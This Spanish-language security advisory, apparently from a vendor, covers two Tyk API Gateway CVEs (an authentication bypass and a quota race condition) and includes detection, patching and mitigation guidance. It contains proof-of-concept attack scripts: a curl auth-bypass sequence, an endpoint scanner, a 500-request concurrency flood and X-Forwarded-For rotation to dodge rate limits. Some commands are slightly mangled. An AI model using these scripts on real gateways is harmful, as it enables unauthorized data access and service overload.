Dos fallos críticos de seguridad en Tyk API Gateway —una omisión de la validación de tokens de autenticación (CVE-2026-31872) y una vulnerabilidad que permite eludir las cuotas y la limitación de solicitudes (CVE-2026-31873)— permiten a atacantes no autenticados acceder a APIs protegidas y saturar los servicios de backend. Todas las implementaciones autogestionadas de Tyk que ejecutan las versiones 5.0–5.3 están afectadas. Hay parches disponibles en Tyk 5.3.5 y 5.4.0.
Se ha descubierto que Tyk API Gateway, una popular plataforma de gestión de API comercial y de código abierto escrita en Go, contiene dos vulnerabilidades críticas que afectan a su middleware de autenticación y a su subsistema de limitación de solicitudes. Divulgados el 31 de marzo de 2026, estos fallos afectan a las versiones autogestionadas de Tyk Gateway desde la 5.0.x hasta la 5.3.4 y se deben a errores lógicos en la evaluación de la cadena de middleware personalizada de Tyk y en el seguimiento de cuotas basado en Redis.
Las implementaciones de Tyk Cloud (SaaS) recibieron un parche silencioso el 30 de marzo de 2026. Las organizaciones que ejecuten Tyk de forma autogestionada —incluidas las que utilizan Tyk Operator en Kubernetes— deben actualizarlo manualmente.
CVE-2026-31872 se añadió al catálogo de vulnerabilidades conocidas explotadas de CISA el 1 de abril de 2026. Las agencias civiles federales deben aplicar el parche antes del 22 de abril de 2026. Todas las organizaciones deben tratarla como P0. El código del exploit está disponible públicamente en GitHub desde el 2 de abril de 2026.
| CVE | Tipo | CVSS v3.1 | Gravedad | Versiones afectadas |
|---|---|---|---|---|
| CVE-2026-31872 | Omisión del token de autenticación | 9.1 | Crítica | Tyk Gateway 5.0.x – 5.3.4 |
| CVE-2026-31873 | Omisión de la limitación de solicitudes/cuotas | 7.5 | Alta | Tyk Gateway 4.3.x – 5.3.4 |
CVE-2026-31872 es un fallo crítico en la evaluación de la cadena de middleware de plugins de Go de Tyk. Cuando una definición de API configura simultáneamente un endpoint virtual y una política de token de autenticación, el flujo de procesamiento de solicitudes de Tyk evalúa el controlador del endpoint virtual antes de completar la validación del token. Si el endpoint virtual devuelve un patrón específico de respuesta HTTP —concretamente, un 200 OK con el cuerpo vacío—, el middleware de autenticación marca la solicitud como preautenticada y la reenvía al servicio ascendente sin verificar el token bearer proporcionado.
El fallo se encuentra en gateway/middleware/virtual_endpoint.go, donde el método Exec() establece una clave de contexto compartida, ctx.PreAuthenticated = true, bajo determinadas condiciones de respuesta. Después, el método ProcessRequest() de gateway/middleware/auth_key.go lee esta marca para omitir la validación del token; un diseño concebido para llamadas internas entre servicios, pero que puede activarse externamente.
| Métrica | Valor | Justificación |
|---|---|---|
| Vector de ataque | Red | Explotación totalmente remota mediante HTTPS |
| Complejidad del ataque | Baja | No se necesitan conocimientos especiales sobre la configuración |
| Privilegios requeridos | Ninguno | Atacante no autenticado |
| Interacción del usuario | Ninguna | No se requiere ninguna acción de la víctima |
| Alcance | Cambiado | La vulneración del gateway afecta a todos los servicios ascendentes |
| Confidencialidad | Alta | Acceso completo a todos los recursos protegidos de la API |
| Integridad | Alta | Acceso de escritura al backend mediante solicitudes sin filtrar |
| Disponibilidad | Baja | El propio gateway sigue funcionando |
No todas las implementaciones de Tyk son vulnerables. La omisión de autenticación solo puede activarse cuando se cumplen las tres condiciones siguientes en una definición de API:
auth_token o jwtTykJsResponse con Code: 200 y un Body vacío o nuloEl siguiente ejemplo muestra un exploit de dos pasos: primero activa el endpoint virtual para contaminar la marca de preautenticación y, después, accede inmediatamente a un endpoint protegido con un token no válido:
# Paso 1: activar el endpoint virtual con una respuesta 200 de cuerpo vacío # Esto contamina la marca PreAuthenticated en el contexto de solicitud compartido de Tyk curl -i -X POST https://api.example.com/v1/virtual-endpoint \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -H "Content-Type: application/json" \ -d '{}' # Respuesta esperada del paso 1 (el endpoint virtual se procesa antes de la autenticación): # HTTP/2 200 # (cuerpo vacío — esto activa la vulnerabilidad) # Paso 2: acceder inmediatamente a cualquier endpoint protegido de la MISMA definición de API # con CUALQUIER token bearer — la validación se omite debido a la marca PreAuthenticated curl -i https://api.example.com/v1/admin/users \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -H "X-Request-ID: $(uuidgen)" # Respuesta vulnerable: # HTTP/2 200 # {"users": [...]} ← Se devuelven todos los datos sin una autenticación válida # Analizador automatizado para identificar endpoints vulnerables de Tyk for path in /v1/users /v1/admin /v1/data /api/internal; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer AAAA.BBBB.CCCC" \ "https://api.example.com${path}") echo "$path -> HTTP $STATUS" done
El siguiente patrón de definición de API en la configuración JSON de Tyk activa la vulnerabilidad. Si tu implementación contiene APIs que coinciden con esta estructura, considérala en riesgo hasta que se aplique el parche:
// Definición vulnerable de Tyk API (tyk-api-def.json) { "auth": { "auth_header_name": "Authorization", "use_param": false }, "use_keyless": false, "use_standard_auth": true, "extended_paths": { "virtual": [ { "response_function_name": "myVirtualFunc", "function_source_type": "inline", "path": "virtual-endpoint", "method": "POST", // Si esta función devuelve {Code:200, Body:""} → activa la omisión "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }" } ] } }
CVE-2026-31873 es una condición de carrera en la implementación de cuotas y limitación de solicitudes basada en Redis de Tyk. Cuando Tyk procesa solicitudes simultáneas procedentes de la misma clave de API, las operaciones de comprobación y reducción de la cuota se realizan mediante dos comandos de Redis independientes y no atómicos (GET seguido de DECR). Un atacante que envíe solicitudes con un nivel de concurrencia suficientemente alto puede leer el mismo valor de cuota anterior a la reducción en varias goroutines, multiplicando de hecho el número de solicitudes permitidas por la cantidad de conexiones simultáneas.
Esta es una vulnerabilidad TOCTOU (tiempo de comprobación, tiempo de uso) clásica. En el código Go de Tyk (storage/storage.go, la ruta GetRawKey + DecrementWithExpire), no existe ninguna transacción MULTI/EXEC de Redis ni ningún bloqueo optimista basado en WATCH alrededor de la lógica de comprobar y después reducir, lo que permite leer un estado de cuota obsoleto bajo carga simultánea.
El siguiente script de bash utiliza GNU parallel para enviar 500 solicitudes simultáneas a un endpoint protegido por Tyk configurado con una cuota de 50 solicitudes por minuto. En una instancia vulnerable, la mayoría se procesará correctamente a pesar del límite:
#!/bin/bash # CVE-2026-31873 — PoC de la condición de carrera TOCTOU en la limitación de solicitudes de Tyk # Envía 500 solicitudes simultáneas para agotar la cuota sin activar los límites TARGET="https://api.example.com/v1/search" API_KEY="tyk-valid-api-key-here" CONCURRENCY=500 echo "Launching $CONCURRENCY concurrent requests..." seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \ 'curl -s -o /dev/null -w "%{http_code}\n" \ -H "Authorization: '"$API_KEY"'" \ "'"$TARGET"'?q=test&page={}"' \ | sort | uniq -c # Resultado esperado en un sistema con el parche: # 449 429 (solicitudes limitadas) # 51 200 (dentro de la cuota) # Resultado esperado en un sistema vulnerable: # 498 200 (omisión correcta — se procesan casi todas las solicitudes) # 2 429 (solo se limitan las solicitudes más lentas)
En las implementaciones de Tyk en las que enable_ip_whitelisting es false y el gateway confía en X-Forwarded-For, la clave de limitación de solicitudes también puede fragmentarse rotando el encabezado de IP de origen. Esto, combinado con la condición de carrera TOCTOU, permite una omisión prácticamente total de la cuota:
# Combinar la rotación de X-Forwarded-For con solicitudes simultáneas
# Cada IP única obtiene su propio bloque de limitación de solicitudes en la configuración predeterminada de Tyk
for i in $(seq 1 1000); do
FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
curl -s -o /dev/null \
-H "Authorization: tyk-valid-api-key-here" \
-H "X-Forwarded-For: $FAKE_IP" \
"https://api.example.com/v1/data" &
(( i % 100 == 0 )) && wait
done
wait
| Tipo de implementación | Omisión de autenticación de CVE-2026-31872 | Omisión de límites de CVE-2026-31873 | Estado |
|---|---|---|---|
| Tyk Cloud (SaaS) | Corregida (30 de marzo) | Corregida (30 de marzo) | Actualizada automáticamente |
| OSS autogestionado (<5.3.5) | Vulnerable | Vulnerable | Se requiere una actualización manual |
| Enterprise autogestionado (<5.3.5) | Vulnerable | Vulnerable | Se requiere una actualización manual |
| Tyk Operator (Kubernetes) | Vulnerable | Vulnerable | Se requiere actualizar el chart de Helm |
| Tyk Gateway 5.3.5+ | Corregida | Corregida | Seguro |
| Tyk Gateway 5.4.0+ | Corregida | Corregida | Seguro |
Tyk registra las decisiones de autenticación en JSON estructurado. Los siguientes comandos identifican las solicitudes que omitieron la validación de tokens (autenticadas sin una clave válida) y las anomalías en el agotamiento de cuotas:
# Buscar solicitudes en las que la autenticación se completó correctamente, pero no se validó ninguna clave de API # Aparecen como solicitudes con campos auth_id vacíos o de marcador de posición cat /var/log/tyk/tyk.log \ | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \ | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}' # Detectar la omisión de cuotas: solicitudes procesadas correctamente después de que la cuota debería haberse agotado # Buscar claves de API con >N solicitudes correctas durante el último minuto cat /var/log/tyk/tyk.log \ | jq -r 'select(.code == 200) | .auth_id' \ | sort | uniq -c | sort -rn \ | awk ' > 100 { print "POTENTIAL_BYPASS: " " — " " successful requests" }' # Comprobar la versión de Tyk mediante la API HTTP del gateway curl -s http://localhost:8080/hello | jq '.version'
Inspecciona directamente Redis para verificar si los contadores de limitación de solicitudes se incrementan correctamente:
# Conectarse a la instancia de Redis de Tyk e inspeccionar las claves de cuota redis-cli -h your-redis-host -p 6379 -a yourpassword # Enumerar todas las claves de limitación de solicitudes correspondientes a una clave de API específica KEYS "quota-*your-api-key-prefix*" # Comprobar el valor actual y el TTL de una clave de cuota específica GET "quota-your-api-key-hash" TTL "quota-your-api-key-hash" # Si el valor es superior a la cuota configurada, es posible que se haya producido una explotación # Ejemplo: si la cuota es de 100/min, pero el contador muestra 450, investígalo inmediatamente
La solución definitiva consiste en actualizar a Tyk Gateway 5.3.5 o 5.4.0. Ambas versiones incluyen un flujo atómico de Redis para las operaciones de cuota y una reescritura de la gestión de la marca de preautenticación de los endpoints virtuales.
# Docker — actualizar a la imagen con el parche docker pull tykio/tyk-gateway:v5.3.5 docker stop tyk-gateway && docker rm tyk-gateway docker run -d --name tyk-gateway \ -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \ -v $(pwd)/apps:/opt/tyk-gateway/apps \ -p 8080:8080 \ tykio/tyk-gateway:v5.3.5 # Kubernetes mediante Helm — actualizar Tyk Operator helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/ helm repo update helm upgrade tyk-gateway tyk-helm/tyk-gateway \ --namespace tyk \ --set gateway.image.tag=v5.3.5 \ --reuse-values # Actualización del binario en Linux curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \ -o tyk-v5.3.5.tar.gz tar -xzf tyk-v5.3.5.tar.gz sudo systemctl stop tyk-gateway sudo cp tyk /opt/tyk-gateway/tyk sudo systemctl start tyk-gateway # Verificar la versión después de la actualización curl -s http://localhost:8080/hello | jq '.version' # Resultado esperado: "v5.3.5" o "v5.4.0"
Si no es posible realizar una actualización inmediata, desactiva los endpoints virtuales en cualquier definición de API que utilice autenticación mediante tokens. Edita el JSON de la definición de API y establece la lista de rutas virtuales como vacía:
// En el archivo de definición de Tyk API, elimina o vacía la lista de endpoints virtuales { "extended_paths": { "virtual": [] // ← Establecer como matriz vacía para desactivar los endpoints virtuales } } # Aplicar mediante la API de Tyk Dashboard curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \ -H "authorization: your-dashboard-user-key" \ -H "Content-Type: application/json" \ -d @patched-api-def.json # O recargar mediante recarga en caliente si se utiliza una configuración basada en archivos kill -SIGHUP $(pgrep tyk)
Hasta que puedas actualizar, habilita la opción experimental enable_redis_rolling_limiter de Tyk, que utiliza un flujo atómico implementado mediante scripts de Lua en Redis y no es vulnerable a la condición de carrera TOCTOU:
// tyk.conf — habilitar el limitador atómico deslizante de solicitudes (disponible en Tyk 5.0+) { "enable_redis_rolling_limiter": true, "enable_sentinel_rate_limiter": false, "drl_notification_payload_size": 0, // Restringe también las IP de confianza para X-Forwarded-For a fin de bloquear la evasión mediante rotación de IP "allowed_ips": ["10.0.1.10", "10.0.1.11"], "enable_ip_whitelisting": true }
# Prueba 1: Verifica que la omisión de autenticación esté corregida; debería devolver 401 curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -d '{}' # Resultado esperado en el sistema corregido: HTTP/2 401 No autorizado # Prueba 2: Verifica que la limitación de solicitudes se aplique correctamente for i in $(seq 1 60); do CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer your-valid-key" \ "https://your-gateway.example.com/v1/test") echo "Solicitud $i: HTTP $CODE" done # Después de alcanzar el límite de tu cuota, deberías recibir sistemáticamente 429 Demasiadas solicitudes
max_conn_time y los límites de frecuencia de conexión en tu proxy inverso (nginx/Envoy), situado delante de Tyk, para limitar la concurrencia disponible para la explotación.use_standard_auth: true como un array virtual no vacío.# Script de auditoría: encuentra todas las definiciones de API vulnerables (combinación virtual + autenticación)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
-H "authorization: your-dashboard-key" \
| jq -r '.apis[] | select(
.api_definition.use_standard_auth == true and
(.api_definition.extended_paths.virtual | length > 0)
) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'
| Fecha | Evento |
|---|---|
| 2026-02-20 | Ambas vulnerabilidades se notifican a Tyk Security a través de security@tyk.io |
| 2026-02-22 | El equipo de Tyk Security confirma la recepción e inicia la investigación |
| 2026-03-05 | Se confirma la causa raíz y se solicitan identificadores CVE a MITRE |
| 2026-03-15 | Se asignan CVE-2026-31872 y CVE-2026-31873 |
| 2026-03-28 | Los candidatos de lanzamiento de Tyk Gateway 5.3.5 y 5.4.0 se distribuyen a clientes empresariales |
| 2026-03-30 | Tyk Cloud (SaaS) se actualiza automáticamente y se publica la versión 5.3.5 |
| 2026-03-31 | Tyk publica el aviso de seguridad |
| 2026-04-01 | CISA añade CVE-2026-31872 al catálogo KEV |
| 2026-04-02 | Se publica una PoC del exploit y se observa un escaneo activo en internet |
Gestión de vulnerabilidades basada en IA con más de 331 910 CVE indexadas. Supervisa continuamente Tyk, Kong y otras puertas de enlace de API para detectar fallos de seguridad críticos antes de que los atacantes los exploten.
Iniciar prueba gratuitaMantente seguro. Mantente alerta.
🗡️ Equipo de seguridad de KENSAI
🛡️ ¿Es segura tu puerta de enlace Tyk?
Descubre vulnerabilidades de omisión de autenticación y configuraciones incorrectas antes que los atacantes.
Escanea gratis tu puerta de enlace de API →